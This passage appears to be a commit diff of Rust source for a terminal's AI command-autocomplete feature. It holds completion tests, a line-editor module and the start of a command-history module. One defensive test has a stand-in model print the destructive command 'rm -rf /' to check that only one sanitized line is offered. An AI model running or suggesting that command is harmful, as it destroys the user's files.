let secs = now.duration_since(at).map(|d| d.as_secs()).unwrap_or(0);
if secs < 90 {
format!("{} s ago", secs)
} else if secs < 5400 {
format!("{} min ago", secs / 60)
} else {
format!("{} h ago", secs / 3600)
}
}
impl Log {
pub fn attempt(&mut self, at: SystemTime, line: &str, took_ms: u64, outcome: Outcome) {
if self.attempts.len() >= ATTEMPTS {
self.attempts.pop_front();
}
self.attempts.push_back(Attempt {
at,
line: shorten(line, 40),
took_ms,
outcome,
});
}
/// What the engine said of its decisions at the attempt just kept.
pub fn decisions(&mut self, lines: Vec<String>) {
self.decisions = lines;
}
pub fn skip(&mut self, at: SystemTime, why: Skip) {
self.skipped = Some((at, why));
}
pub fn attempts(&self) -> impl Iterator<Item = &Attempt> {
self.attempts.iter()
}
pub fn clear(&mut self) {
self.attempts.clear();
self.skipped = None;
}
/// What the terminal's side of the autocomplete knows, in words: the
/// engine and model it would use, and what the last attempts gave.
pub fn status(&self, now: SystemTime, engine: &str, model: &str, timeout_ms: u64) -> String {
let mut lines = Vec::new();
lines.push(if engine.is_empty() {
"engine: the LLeMbas CLI (lembas) was not found".to_string()
} else {
format!("engine: {}", engine)
});
lines.push(if model.is_empty() {
"model: the engine's own choice (none is chosen in the terminal)".to_string()
} else {
format!("model: {}", model)
});
lines.push(format!(
"asked after a pause of {} ms in the typing; the engine is given {} ms",
PAUSE_MS,
clamp_timeout(timeout_ms)
));
if self.attempts.is_empty() {
lines.push("asked: not yet, since the terminal started".to_string());
} else {
lines.push("asked, the newest last:".to_string());
for a in &self.attempts {
lines.push(format!(
" {}, for \"{}\", after {} ms: {}",
ago(now, a.at),
a.line,
a.took_ms,
a.outcome.sentence()
));
}
}
if !self.decisions.is_empty() {
lines.push("the engine, at the newest of them:".to_string());
for d in &self.decisions {
lines.push(format!(" {}", d));
}
}
if let Some((at, why)) = &self.skipped {
lines.push(format!(
"last not asked {}: {}",
ago(now, *at),
why.sentence()
));
}
lines.join("\n")
}
}
#[cfg(test)]
mod tests {
use super::*;
fn all_on() -> Conditions {
Conditions {
on: true,
engine: true,
private: false,
this_machine: true,
at_end: true,
history: false,
}
}
#[test]
fn when_a_line_is_asked_about() {
let c = all_on();
assert_eq!(decide(&c, "git che"), Ok("git che"));
assert_eq!(decide(&c, "ls "), Ok("ls "));
assert_eq!(decide(&c, "ls"), Err(Skip::TooShort));
assert_eq!(decide(&c, ""), Err(Skip::Empty));
assert_eq!(decide(&c, " "), Err(Skip::Empty));
assert_eq!(decide(&c, " secret thing"), Err(Skip::LeadingSpace));
let long: String = std::iter::repeat('x').take(MAX_BYTES + 1).collect();
assert_eq!(decide(&c, &long), Err(Skip::TooLong));
assert_eq!(decide(&c, "a\nb c"), Err(Skip::TooLong), "one line only");
}
#[test]
fn what_keeps_a_line_from_being_asked_about() {
let typed = "git che";
let with = |f: &dyn Fn(&mut Conditions)| {
let mut c = all_on();
f(&mut c);
decide(&c, typed)
};
assert_eq!(with(&|c| c.on = false), Err(Skip::Off));
assert_eq!(with(&|c| c.engine = false), Err(Skip::NoEngine));
assert_eq!(with(&|c| c.private = true), Err(Skip::Private));
assert_eq!(with(&|c| c.at_end = false), Err(Skip::NotAtEnd));
assert_eq!(with(&|c| c.history = true), Err(Skip::History));
assert_eq!(with(&|c| c.this_machine = false), Err(Skip::NotThisMachine));
// the switch is looked at first: with it off nothing else is said
let off = Conditions {
on: false,
engine: false,
private: true,
this_machine: false,
at_end: false,
history: true,
};
assert_eq!(decide(&off, ""), Err(Skip::Off));
// every reason has its sentence
for skip in [
Skip::Off,
Skip::NoEngine,
Skip::Private,
Skip::NotThisMachine,
Skip::NotAtEnd,
Skip::Empty,
Skip::LeadingSpace,
Skip::TooShort,
Skip::TooLong,
Skip::History,
] {
assert!(!skip.sentence().is_empty());
}
}
#[test]
fn the_directory_a_shell_reported() {
// what the shell integration writes: file://<host><directory>
assert_eq!(
dir_of_url_path("/home/person/project"),
Some("/home/person/project".to_string())
);
assert_eq!(
dir_of_url_path("/home/person/my%20project/%C3%A9t%C3%A9"),
Some("/home/person/my project/\u{e9}t\u{e9}".to_string())
);
assert_eq!(
dir_of_url_path("/100%/x"),
Some("/100%/x".to_string()),
"a percent sign that starts no escape stays"
);
assert_eq!(dir_of_url_path("/a%2"), Some("/a%2".to_string()));
assert_eq!(dir_of_url_path("/a%41"), Some("/aA".to_string()));
assert_eq!(dir_of_url_path(""), None);
assert_eq!(dir_of_url_path("relative/dir"), None);
assert_eq!(dir_of_url_path("/a%0Ab"), None, "no control character");
assert_eq!(dir_of_url_path("/a%FF"), None, "not text");
}
#[test]
fn whose_machine_a_directory_is_on() {
assert!(same_host("", None));
assert!(same_host("localhost", None));
assert!(same_host("workstation", Some("workstation")));
assert!(same_host("Workstation", Some("workstation")));
assert!(same_host("workstation.example.org", Some("workstation")));
assert!(same_host("workstation", Some("workstation.example.org")));
assert!(!same_host("laptop", Some("workstation")));
assert!(!same_host("laptop", None));
}
#[test]
fn one_request_at_a_time() {
let mut t = Tracker::default();
let first = match t.poll(1, "git che") {
Poll::Start(id) => id,
other => panic!("expected a start, got {:?}", other),
};
assert!(t.still_wanted(first));
assert_eq!(t.poll(1, "git che"), Poll::Waiting, "asked once for a line");
// the person types on: the older request is no longer wanted
let second = match t.poll(1, "git chec") {
Poll::Start(id) => id,
other => panic!("expected a start, got {:?}", other),
};
assert!(!t.still_wanted(first));
assert!(t.still_wanted(second));
t.finish(
second,
1,
"git chec".to_string(),
Some("kout main".to_string()),
);
assert!(!t.still_wanted(second));
assert_eq!(
t.poll(1, "git chec"),
Poll::Answer(Some("kout main".to_string()))
);
// an answer is for exactly its line
assert!(matches!(t.poll(1, "git check"), Poll::Start(_)));
// "nothing" is an answer too: the line is not asked about again
let third = match t.poll(2, "xyz") {
Poll::Start(id) => id,
other => panic!("expected a start, got {:?}", other),
};
t.finish(third, 2, "xyz".to_string(), None);
assert_eq!(t.poll(2, "xyz"), Poll::Answer(None));
// until what is on changes
t.forget();
assert!(matches!(t.poll(2, "xyz"), Poll::Start(_)));
}
fn request(cli: &str) -> Request {
Request {
cli: cli.to_string(),
shell: "bash".to_string(),
cwd: "/home/person/my project".to_string(),
line: "git che".to_string(),
model: String::new(),
timeout_ms: 0,
version: "1.2.3".to_string(),
debug: false,
}
}
#[test]
fn the_command_line_of_a_completion() {
let mut req = request("/opt/lembas");
assert_eq!(
args(&req),
[
"complete",
"--shell",
"bash",
"--cwd",
"/home/person/my project",
"--timeout-ms",
"8000"
]
);
req.model = "local/fast".to_string();
req.timeout_ms = 99_999;
let a = args(&req);
assert_eq!(a[a.len() - 2..], ["--model", "local/fast"]);
assert_eq!(a[6], "30000", "no more than the engine takes");
req.debug = true;
assert_eq!(args(&req).last().map(|s| s.as_str()), Some("--debug"));
assert_eq!(clamp_timeout(1), TIMEOUT_MS_MIN);
// the first request after a change is given longer
assert_eq!(timeout_for(0, false), 8000);
assert_eq!(timeout_for(0, true), 20_000);
assert_eq!(timeout_for(25_000, true), 25_000);
assert_eq!(clamp_timeout(4000), 4000);
}
#[test]
fn what_is_remembered_for_the_person() {
let mut log = Log::default();
let t0 = SystemTime::UNIX_EPOCH + Duration::from_secs(1_000_000);
let now = t0 + Duration::from_secs(12);
let empty = log.status(now, "", "", 0);
assert!(empty.contains("was not found"), "{}", empty);
assert!(empty.contains("the engine's own choice"), "{}", empty);
assert!(empty.contains("not yet"), "{}", empty);
log.attempt(t0, "git che", 420, Outcome::Suggestion("ckout main".into()));
log.attempt(t0, "kubectl get", 12_000, Outcome::TimedOut(12_000));
log.attempt(
t0,
"docker ru",
80,
Outcome::Failed("lembas complete: not logged in".into()),
);
log.skip(t0, Skip::History);
let status = log.status(now, "/opt/lembas", "local/fast", 4000);
assert!(status.contains("engine: /opt/lembas"), "{}", status);
assert!(status.contains("model: local/fast"), "{}", status);
assert!(status.contains("given 4000 ms"), "{}", status);
assert!(
status.contains("12 s ago, for \"git che\", after 420 ms: a suggestion: ckout main"),
"{}",
status
);
assert!(status.contains("no answer in 12000 ms"), "{}", status);
assert!(status.contains("an error: lembas complete: not logged in"));
assert!(status.contains("last not asked 12 s ago: your own command history"));
// no more than a few are kept, the oldest go
for i in 0..20 {
log.attempt(
t0,
&format!("line {}", i),
1,
Outcome::Nothing(String::new()),
);
}
assert_eq!(log.attempts().count(), ATTEMPTS);
assert_eq!(log.attempts().next().unwrap().line, "line 12");
// nothing that could act on a terminal is kept of a line or an answer
assert_eq!(shorten("a\u{1b}[31mb\nsecond", 60), "a[31mb");
assert_eq!(shorten("abcdefgh", 4), "abc\u{2026}");
}
/// The engine is run for real, with a stand-in for `lembas`: a script
/// that writes down what it was given. One test, one stand-in after the
/// other: a file that was just written is run by this thread alone.
#[cfg(unix)]
#[test]
fn the_engine_as_it_is_run() {
use std::os::unix::fs::PermissionsExt;
use std::path::PathBuf;
let dir = std::env::temp_dir().join(format!(
"llembas-line-complete-{}-{}",
std::process::id(),
SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
let stand_in = |name: &str, body: &str| -> PathBuf {
let path = dir.join(name);
std::fs::write(&path, format!("#!/bin/sh\n{}\n", body)).unwrap();
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o700)).unwrap();
path
};
let read =
|name: &str| -> String { std::fs::read_to_string(dir.join(name)).unwrap_or_default() };
let cli = |path: &PathBuf| path.to_str().unwrap().to_string();
let always = || true;
// 1. What the engine is given: its arguments one by one, the line on
// its standard input and then the end of it, LLEMBAS_TTY.
let recorder = stand_in(
"lembas-records",
&format!(
"d='{}'\nfor a in \"$@\"; do printf '%s\\n' \"$a\"; done > \"$d/argv\"\n\
cat > \"$d/stdin\"\nprintf '%s' \"${{LLEMBAS_TTY-unset}}\" > \"$d/env\"\n\
printf 'git checkout main\\n'",
dir.display()
),
);
let mut req = request(&cli(&recorder));
req.model = "local/fast".to_string();
req.timeout_ms = 4000;
assert_eq!(
run(&req, &always),
Outcome::Suggestion("ckout main".to_string()),
"the line repeated by the model is not offered twice"
);
assert_eq!(
read("argv"),
"complete\n--shell\nbash\n--cwd\n/home/person/my project\n--timeout-ms\n4000\n--model\nlocal/fast\n"
);
assert_eq!(
read("stdin"),
"git che",
"the line, and the end of the input: the stand-in's cat came back"
);
assert_eq!(read("env"), "1.2.3");
// 2. Nothing suggested, with what the engine said of it.
let quiet = stand_in(
"lembas-quiet",
"cat > /dev/null\necho 'lembas complete: no suggestion in 4000 ms' >&2",
);
assert_eq!(
run(&request(&cli(&quiet)), &always),
Outcome::Nothing("lembas complete: no suggestion in 4000 ms".to_string())
);
// 3. An error is the engine's own sentence, never silence.
let failing = stand_in(
"lembas-fails",
"cat > /dev/null\necho 'lembas complete: --cwd must be an absolute directory' >&2\necho 'usage: ...' >&2\nexit 2",
);
assert_eq!(
run(&request(&cli(&failing)), &always),
Outcome::Failed("lembas complete: --cwd must be an absolute directory".to_string())
);
let silent = stand_in("lembas-silent", "exit 3");
assert_eq!(
run(&request(&cli(&silent)), &always),
Outcome::Failed("the engine ended with status 3".to_string())
);
// 4. No engine at that path.
match run(&request(&cli(&dir.join("no-such-lembas"))), &always) {
Outcome::NotStarted(why) => assert!(why.contains("no-such-lembas"), "{}", why),
other => panic!("expected NotStarted, got {:?}", other),
}
// 5. An engine that does not answer is stopped: when its time is
// over, and at once when the line is no longer wanted.
let slow = stand_in("lembas-slow", "cat > /dev/null\nexec sleep 30");
let mut req = request(&cli(&slow));
req.timeout_ms = TIMEOUT_MS_MIN;
let started = Instant::now();
assert_eq!(
run(&req, &always),
Outcome::TimedOut(TIMEOUT_MS_MIN + GRACE_MS)
);
assert!(started.elapsed() < Duration::from_secs(10));
let started = Instant::now();
let asked = std::cell::Cell::new(0);
let twice = || {
asked.set(asked.get() + 1);
asked.get() < 3
};
assert_eq!(run(&req, &twice), Outcome::Cancelled);
assert!(started.elapsed() < Duration::from_secs(2));
// 7. An engine asked to say its decisions: they are kept apart from
// its sentence.
let talking = stand_in(
"lembas-talks",
"cat > /dev/null\necho 'lembas complete: debug: shell bash, cwd /x, timeout 8000 ms' >&2\n\
echo 'lembas complete: debug: not logged in, no request' >&2\n\
echo 'lembas complete: not logged in' >&2\nexit 1",
);
let mut req = request(&cli(&talking));
req.debug = true;
let (outcome, decisions) = run_said(&req, &always);
assert_eq!(
outcome,
Outcome::Failed("lembas complete: not logged in".to_string())
);
assert_eq!(decisions.len(), 2);
assert_eq!(decisions[0], "shell bash, cwd /x, timeout 8000 ms");
let mut log = Log::default();
log.attempt(SystemTime::now(), "git che", 30, outcome);
log.decisions(decisions);
let status = log.status(SystemTime::now(), "/x/lembas", "", 0);
assert!(
status.contains(" shell bash, cwd /x, timeout 8000 ms"),
"{}",
status
);
// 6. What a model says is text: one plain line of it is offered.
let hostile = stand_in(
"lembas-hostile",
"cat > /dev/null\nprintf 'ckout \\033[31mmain\\nrm -rf /\\n'",
);
assert_eq!(
run(&request(&cli(&hostile)), &always),
Outcome::Suggestion("ckout [31mmain".to_string())
);
let _ = std::fs::remove_dir_all(&dir);
}
}
+626
View File
@@ -0,0 +1,626 @@
//! The ask line: the line a person types a question for LLeMbas on, in place
//! of the shell's own line. The terminal keeps this editor itself, so nothing
//! typed here ever reaches the shell.
/// The most characters a question may have.
pub const MAX_CHARS: usize = 4000;
/// The most earlier questions that are kept.
pub const MAX_HISTORY: usize = 100;
/// What stands between the prefix and the question.
pub const SEPARATOR: &str = " \u{203a} ";
/// What stands for the part of a long question that is scrolled out.
pub const ELLIPSIS: char = '\u{2026}';
/// What a key press means to the editor. The terminal's part maps its own key
/// codes to these.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Key {
Char(char),
Backspace,
Delete,
Left,
Right,
Home,
End,
WordLeft,
WordRight,
DeleteWordLeft,
DeleteWordRight,
DeleteToStart,
DeleteToEnd,
/// An earlier question.
Up,
/// A later one, and at last what was being typed.
Down,
Enter,
Cancel,
}
/// What a key did.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Outcome {
Unchanged,
Changed,
/// Send this question.
Submit(String),
/// Leave the ask line; nothing is sent.
Cancel,
}
#[derive(Debug, Clone, Default)]
pub struct LineEditor {
chars: Vec<char>,
cursor: usize,
/// Earlier questions, the oldest first.
history: Vec<String>,
/// Which earlier question is shown, while walking through them.
at: Option<usize>,
/// What was being typed before walking through earlier questions.
stash: Vec<char>,
}
/// A character as it may stand on the line: a line break or a tab is a space,
/// any other control character is nothing.
fn clean_char(c: char) -> Option<char> {
if c == '\n' || c == '\r' || c == '\t' {
Some(' ')
} else if c.is_control() {
None
} else {
Some(c)
}
}
impl LineEditor {
pub fn new(history: &[String]) -> Self {
LineEditor {
chars: Vec::new(),
cursor: 0,
history: history.to_vec(),
at: None,
stash: Vec::new(),
}
}
pub fn text(&self) -> String {
self.chars.iter().collect()
}
pub fn chars(&self) -> &[char] {
&self.chars
}
/// Where the cursor is: before the character of this index.
pub fn cursor(&self) -> usize {
self.cursor
}
pub fn is_empty(&self) -> bool {
self.chars.is_empty()
}
fn word_left(&self) -> usize {
let mut i = self.cursor;
while i > 0 && self.chars[i - 1].is_whitespace() {
i -= 1;
}
while i > 0 && !self.chars[i - 1].is_whitespace() {
i -= 1;
}
i
}
fn word_right(&self) -> usize {
let n = self.chars.len();
let mut i = self.cursor;
while i < n && self.chars[i].is_whitespace() {
i += 1;
}
while i < n && !self.chars[i].is_whitespace() {
i += 1;
}
i
}
fn set_line(&mut self, chars: Vec<char>) {
self.chars = chars;
self.cursor = self.chars.len();
}
fn insert_char(&mut self, c: char) -> bool {
if self.chars.len() >= MAX_CHARS {
return false;
}
self.chars.insert(self.cursor, c);
self.cursor += 1;
true
}
/// Text put on the line at once: a paste, or composed input. Line breaks
/// become one space each (a pasted question of several lines is still one
/// question), other control characters are dropped.
pub fn insert_text(&mut self, text: &str) -> Outcome {
let mut changed = false;
let mut last_was_break = false;
for c in text.chars() {
let is_break = c == '\n' || c == '\r';
if is_break && last_was_break {
continue;
}
last_was_break = is_break;
if let Some(c) = clean_char(c) {
if self.insert_char(c) {
changed = true;
}
}
}
if changed {
Outcome::Changed
} else {
Outcome::Unchanged
}
}
pub fn key(&mut self, key: Key) -> Outcome {
let n = self.chars.len();
match key {
Key::Char(c) => match clean_char(c) {
Some(c) => {
if self.insert_char(c) {
Outcome::Changed
} else {
Outcome::Unchanged
}
}
None => Outcome::Unchanged,
},
Key::Backspace => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.cursor -= 1;
self.chars.remove(self.cursor);
Outcome::Changed
}
Key::Delete => {
if self.cursor >= n {
return Outcome::Unchanged;
}
self.chars.remove(self.cursor);
Outcome::Changed
}
Key::Left => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.cursor -= 1;
Outcome::Changed
}
Key::Right => {
if self.cursor >= n {
return Outcome::Unchanged;
}
self.cursor += 1;
Outcome::Changed
}
Key::Home => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.cursor = 0;
Outcome::Changed
}
Key::End => {
if self.cursor == n {
return Outcome::Unchanged;
}
self.cursor = n;
Outcome::Changed
}
Key::WordLeft => {
let to = self.word_left();
if to == self.cursor {
return Outcome::Unchanged;
}
self.cursor = to;
Outcome::Changed
}
Key::WordRight => {
let to = self.word_right();
if to == self.cursor {
return Outcome::Unchanged;
}
self.cursor = to;
Outcome::Changed
}
Key::DeleteWordLeft => {
let to = self.word_left();
if to == self.cursor {
return Outcome::Unchanged;
}
self.chars.drain(to..self.cursor);
self.cursor = to;
Outcome::Changed
}
Key::DeleteWordRight => {
let to = self.word_right();
if to == self.cursor {
return Outcome::Unchanged;
}
self.chars.drain(self.cursor..to);
Outcome::Changed
}
Key::DeleteToStart => {
if self.cursor == 0 {
return Outcome::Unchanged;
}
self.chars.drain(0..self.cursor);
self.cursor = 0;
Outcome::Changed
}
Key::DeleteToEnd => {
if self.cursor >= n {
return Outcome::Unchanged;
}
self.chars.truncate(self.cursor);
Outcome::Changed
}
Key::Up => {
if self.history.is_empty() {
return Outcome::Unchanged;
}
let next = match self.at {
None => {
self.stash = self.chars.clone();
self.history.len() - 1
}
Some(0) => return Outcome::Unchanged,
Some(i) => i - 1,
};
self.at = Some(next);
let line: Vec<char> = self.history[next].chars().collect();
self.set_line(line);
Outcome::Changed
}
Key::Down => {
let i = match self.at {
None => return Outcome::Unchanged,
Some(i) => i,
};
if i + 1 < self.history.len() {
self.at = Some(i + 1);
let line: Vec<char> = self.history[i + 1].chars().collect();
self.set_line(line);
} else {
self.at = None;
let line = std::mem::take(&mut self.stash);
self.set_line(line);
}
Outcome::Changed
}
Key::Enter => {
let text = self.text();
let text = text.trim();
if text.is_empty() {
Outcome::Cancel
} else {
Outcome::Submit(text.to_string())
}
}
Key::Cancel => Outcome::Cancel,
}
}
}
/// Keep a question that was sent among the earlier ones: the newest last, each
/// once, no more than [`MAX_HISTORY`].
pub fn remember(history: &mut Vec<String>, line: &str) {
let line = line.trim();
if line.is_empty() {
return;
}
history.retain(|h| h != line);
history.push(line.to_string());
if history.len() > MAX_HISTORY {
let extra = history.len() - MAX_HISTORY;
history.drain(0..extra);
}
}
/// The ask line as it fits one row of a pane.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct View {
/// What stands before the question: the prefix and the separator, or less
/// when the row is narrow.
pub lead: String,
/// The part of the question that shows.
pub text: String,
/// The column of the cursor in the row.
pub cursor_col: usize,
}
/// Fit the ask line into `cols` columns. `width` gives the columns a character
/// takes. The cursor is always in the row; a question longer than the row
/// scrolls, with an ellipsis where its beginning went.
pub fn view(
prefix: &str,
chars: &[char],
cursor: usize,
cols: usize,
width: &dyn Fn(char) -> usize,
) -> View {
let cursor = cursor.min(chars.len());
let text_width = |s: &str| -> usize { s.chars().map(|c| width(c)).sum() };
let full = format!("{}{}", prefix, SEPARATOR);
let short = format!("{} ", SEPARATOR.trim());
let lead = if text_width(&full) + 8 <= cols {
full
} else if text_width(&short) + 2 <= cols {
short
} else {
String::new()
};
let lead_width = text_width(&lead);
// the columns the question has, and one of them is kept for the cursor
let limit = cols.saturating_sub(lead_width);
let room = limit.saturating_sub(1);
let before: usize = chars[..cursor].iter().map(|c| width(*c)).sum();
let mut first = 0;
if before > room {
// scrolled: one column goes to the ellipsis
let budget = room.saturating_sub(1);
first = cursor;
let mut acc = 0;
while first > 0 {
let w = width(chars[first - 1]);
if acc + w > budget {
break;
}
acc += w;
first -= 1;
}
}
let mut text = String::new();
let mut used = 0;
if first > 0 && limit > 0 {
text.push(ELLIPSIS);
used += 1;
}
let mut cursor_col = lead_width + used;
for (i, c) in chars.iter().enumerate().skip(first) {
let w = width(*c);
if used + w > limit {
break;
}
text.push(*c);
used += w;
if i < cursor {
cursor_col = lead_width + used;
}
}
cursor_col = cursor_col.min(cols.saturating_sub(1));
View {
lead,
text,
cursor_col,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn typed(editor: &mut LineEditor, text: &str) {
for c in text.chars() {
editor.key(Key::Char(c));
}
}
fn one(_: char) -> usize {
1
}
#[test]
fn typing_and_moving() {
let mut e = LineEditor::new(&[]);
assert!(e.is_empty());
typed(&mut e, "why did it fail");
assert_eq!(e.text(), "why did it fail");
assert_eq!(e.cursor(), 15);
assert_eq!(e.key(Key::Home), Outcome::Changed);
assert_eq!(e.cursor(), 0);
assert_eq!(e.key(Key::Home), Outcome::Unchanged);
assert_eq!(e.key(Key::Left), Outcome::Unchanged);
assert_eq!(e.key(Key::Backspace), Outcome::Unchanged);
e.key(Key::WordRight);
assert_eq!(e.cursor(), 3);
e.key(Key::WordRight);
assert_eq!(e.cursor(), 7);
e.key(Key::WordLeft);
assert_eq!(e.cursor(), 4);
e.key(Key::End);
assert_eq!(e.cursor(), 15);
assert_eq!(e.key(Key::End), Outcome::Unchanged);
assert_eq!(e.key(Key::Right), Outcome::Unchanged);
assert_eq!(e.key(Key::Delete), Outcome::Unchanged);
e.key(Key::Left);
e.key(Key::Char('!'));
assert_eq!(e.text(), "why did it fai!l");
}
#[test]
fn deleting() {
let mut e = LineEditor::new(&[]);
typed(&mut e, "one two three");
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Changed);
assert_eq!(e.text(), "one two ");
e.key(Key::DeleteWordLeft);
assert_eq!(e.text(), "one ");
e.key(Key::Backspace);
assert_eq!(e.text(), "one");
e.key(Key::Home);
e.key(Key::Delete);
assert_eq!(e.text(), "ne");
typed(&mut e, "x y ");
assert_eq!(e.text(), "x y ne");
e.key(Key::DeleteToEnd);
assert_eq!(e.text(), "x y ");
assert_eq!(e.key(Key::DeleteToEnd), Outcome::Unchanged);
e.key(Key::Home);
e.key(Key::DeleteWordRight);
assert_eq!(e.text(), " y ");
e.key(Key::End);
e.key(Key::DeleteToStart);
assert_eq!(e.text(), "");
assert_eq!(e.key(Key::DeleteToStart), Outcome::Unchanged);
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Unchanged);
assert_eq!(e.key(Key::DeleteWordRight), Outcome::Unchanged);
}
#[test]
fn sending_and_leaving() {
let mut e = LineEditor::new(&[]);
assert_eq!(
e.key(Key::Enter),
Outcome::Cancel,
"an empty line sends nothing"
);
typed(&mut e, " ");
assert_eq!(e.key(Key::Enter), Outcome::Cancel, "nor a blank one");
typed(&mut e, "hello ");
assert_eq!(e.key(Key::Enter), Outcome::Submit("hello".to_string()));
assert_eq!(e.key(Key::Cancel), Outcome::Cancel);
}
#[test]
fn control_characters_never_stand_on_the_line() {
let mut e = LineEditor::new(&[]);
assert_eq!(e.key(Key::Char('\u{1b}')), Outcome::Unchanged);
assert_eq!(e.key(Key::Char('\u{7}')), Outcome::Unchanged);
assert_eq!(e.key(Key::Char('\u{9b}')), Outcome::Unchanged);
assert_eq!(e.key(Key::Char('\t')), Outcome::Changed);
assert_eq!(e.text(), " ");
let mut e = LineEditor::new(&[]);
assert_eq!(
e.insert_text("first\r\nsecond\n\nthird\u{1b}[31m\u{7}"),
Outcome::Changed
);
assert_eq!(e.text(), "first second third[31m");
assert_eq!(e.insert_text("\u{1b}\u{7}"), Outcome::Unchanged);
}
#[test]
fn pasting_goes_in_at_the_cursor() {
let mut e = LineEditor::new(&[]);
typed(&mut e, "ab");
e.key(Key::Left);
e.insert_text("XY");
assert_eq!(e.text(), "aXYb");
assert_eq!(e.cursor(), 3);
}
#[test]
fn a_question_is_not_endless() {
let mut e = LineEditor::new(&[]);
let long: String = std::iter::repeat('a').take(MAX_CHARS + 50).collect();
e.insert_text(&long);
assert_eq!(e.chars().len(), MAX_CHARS);
assert_eq!(e.key(Key::Char('b')), Outcome::Unchanged);
}
#[test]
fn earlier_questions() {
let history = vec!["first".to_string(), "second".to_string()];
let mut e = LineEditor::new(&history);
typed(&mut e, "dra");
assert_eq!(e.key(Key::Up), Outcome::Changed);
assert_eq!(e.text(), "second");
assert_eq!(e.cursor(), 6);
e.key(Key::Up);
assert_eq!(e.text(), "first");
assert_eq!(e.key(Key::Up), Outcome::Unchanged);
e.key(Key::Down);
assert_eq!(e.text(), "second");
e.key(Key::Down);
assert_eq!(e.text(), "dra", "back to what was being typed");
assert_eq!(e.key(Key::Down), Outcome::Unchanged);
let mut none = LineEditor::new(&[]);
assert_eq!(none.key(Key::Up), Outcome::Unchanged);
}
#[test]
fn remembering() {
let mut h = Vec::new();
remember(&mut h, " one ");
remember(&mut h, "two");
remember(&mut h, "one");
remember(&mut h, " ");
assert_eq!(h, vec!["two".to_string(), "one".to_string()]);
for i in 0..(MAX_HISTORY + 10) {
remember(&mut h, &format!("q{}", i));
}
assert_eq!(h.len(), MAX_HISTORY);
assert_eq!(h[h.len() - 1], format!("q{}", MAX_HISTORY + 9));
}
#[test]
fn the_line_fits_the_row() {
let chars: Vec<char> = "hello".chars().collect();
let v = view("llembas m \u{b7} auto", &chars, 5, 80, &one);
assert_eq!(v.lead, "llembas m \u{b7} auto \u{203a} ");
assert_eq!(v.text, "hello");
assert_eq!(v.cursor_col, 19 + 5);
let v = view("llembas", &chars, 2, 80, &one);
assert_eq!(v.cursor_col, 10 + 2);
}
#[test]
fn a_long_question_scrolls() {
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz".chars().collect();
// lead "p › " is 4 columns, the row has 14: ten for the question
let v = view("p", &chars, 26, 14, &one);
assert_eq!(v.lead, "p \u{203a} ");
assert_eq!(v.text, "\u{2026}stuvwxyz");
assert_eq!(v.cursor_col, 13, "the cursor stays in the row");
let v = view("p", &chars, 0, 14, &one);
assert_eq!(v.text, "abcdefghij");
assert_eq!(v.cursor_col, 4);
let v = view("p", &chars, 9, 14, &one);
assert_eq!(v.text, "abcdefghij", "not scrolled while the cursor fits");
assert_eq!(v.cursor_col, 13);
let v = view("p", &chars, 10, 14, &one);
assert_eq!(v.text, "\u{2026}cdefghijk");
assert_eq!(v.cursor_col, 13);
}
#[test]
fn a_narrow_row_gives_up_the_prefix() {
let chars: Vec<char> = "hi".chars().collect();
let v = view("llembas big-model \u{b7} manual", &chars, 2, 20, &one);
assert_eq!(v.lead, "\u{203a} ");
assert_eq!(v.text, "hi");
assert_eq!(v.cursor_col, 4);
let v = view("llembas", &chars, 2, 3, &one);
assert_eq!(v.lead, "");
assert_eq!(v.cursor_col, 2);
let v = view("llembas", &chars, 2, 0, &one);
assert_eq!(v.text, "");
assert_eq!(v.cursor_col, 0);
}
#[test]
fn wide_characters_take_two_columns() {
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
let chars: Vec<char> = "a\u{4e2d}b".chars().collect();
let v = view("p", &chars, 2, 40, &wide);
assert_eq!(v.cursor_col, 4 + 3);
// six columns for the question: a wide character that does not fit is left out
let chars: Vec<char> = "\u{4e2d}\u{4e2d}\u{4e2d}\u{4e2d}".chars().collect();
let v = view("p", &chars, 0, 9, &wide);
assert_eq!(v.lead, "\u{203a} ");
assert_eq!(v.text, "\u{4e2d}\u{4e2d}\u{4e2d}");
}
}
+461
View File
@@ -0,0 +1,461 @@
//! The terminal's own history of commands: the lines it saw run in its panes,
//! kept for the suggestions it draws after the cursor. It is not the shell's
//! history file, and never reads one.
//!
//! What is kept of a command: its text, how it ended, the directory it ran in
//! and when. What is never kept: a line that starts with a space (the shells'
//! own way of saying "do not remember this"), a line of several lines, a
//! command that was not found, anything with a control character in it. A
//! pane marked private records nothing, which is the caller's to see to.
//!
//! The file is the person's alone (mode 0600), one command a line, appended
//! to as commands run and rewritten smaller when it has grown.
use std::io::Write;
use std::path::Path;
/// The first line of the file.
pub const HEADER: &str = "# llembas-tty history 1";
/// The most bytes of one command that are kept.
pub const MAX_COMMAND_BYTES: usize = 2000;
/// An exit status that is not known.
pub const NO_EXIT: i32 = -1;
/// The shells' exit status for a command that does not exist.
const NOT_FOUND: i32 = 127;
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Entry {
pub command: String,
/// Its exit status, or [`NO_EXIT`].
pub exit: i32,
/// The directory it ran in; empty when not known.
pub cwd: String,
/// When it ended, seconds since the epoch.
pub time: u64,
}
/// Is this a command the history keeps?
pub fn accepts(command: &str, exit: i32) -> bool {
if command.starts_with(' ') || exit == NOT_FOUND {
return false;
}
let trimmed = command.trim();
!trimmed.is_empty()
&& trimmed.len() <= MAX_COMMAND_BYTES
&& !trimmed.chars().any(|c| c.is_control())
}
fn escape(text: &str) -> String {
let mut out = String::with_capacity(text.len());
for c in text.chars() {
match c {
'\\' => out.push_str("\\\\"),
'\t' => out.push_str("\\t"),
'\n' => out.push_str("\\n"),
'\r' => out.push_str("\\r"),
c => out.push(c),
}
}
out
}
fn unescape(text: &str) -> String {
let mut out = String::with_capacity(text.len());
let mut chars = text.chars();
